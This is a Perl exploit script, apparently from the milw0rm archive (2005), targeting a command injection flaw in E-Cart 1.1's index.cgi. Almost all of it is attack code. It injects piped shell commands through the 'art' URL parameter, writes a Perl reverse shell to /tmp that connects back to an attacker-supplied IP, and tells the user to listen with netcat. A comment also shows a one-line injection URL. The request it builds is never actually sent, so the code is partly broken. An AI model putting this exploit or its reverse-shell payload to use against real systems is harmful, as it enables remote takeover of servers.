E-Cart 1.1 - 'index.cgi' Remote Command Execution

#!/usr/bin/perl
#
# Example added if code doesn't work for ya:
# http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: emanuele@orvietolug.org
#
use IO::Socket; 

print "\n\n ~~ www.badroot.org ~~ \n\n";
print " E-Cart E-Commerce Software index.cgi\n";
print " Remote Command Execution Vulnerability\n";
print " Affected version: <= E-Cart 2004 v1.1\n";
print " http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0  \n\n";
print " ~~ code by z\\ ~~\n\n\n";
print " 04.23.2005\n\n\n";


print "hostname: \n"; 
chomp($server=<STDIN>);  

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (/cgi-bin/ecart/)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);


print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";

print "[*] try to exploiting...\n"; 

$string="/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

print "[*] OK! \n"; 
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Loock netcat windows and funny\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp) 
or die; 


print $socket "POST $path HTTP/1.1\n"; 
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: 7330ecart\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " WARNING - WARNING - WARNING - WARNING   \r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";
print "If connect back shell not found:\n";
print "- you do not have privileges to write in /tmp\n";
print "- Shell not vulnerable\n\n\n";
print "Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu us.ircnet.org\n\n\n";


# milw0rm.com [2005-04-25]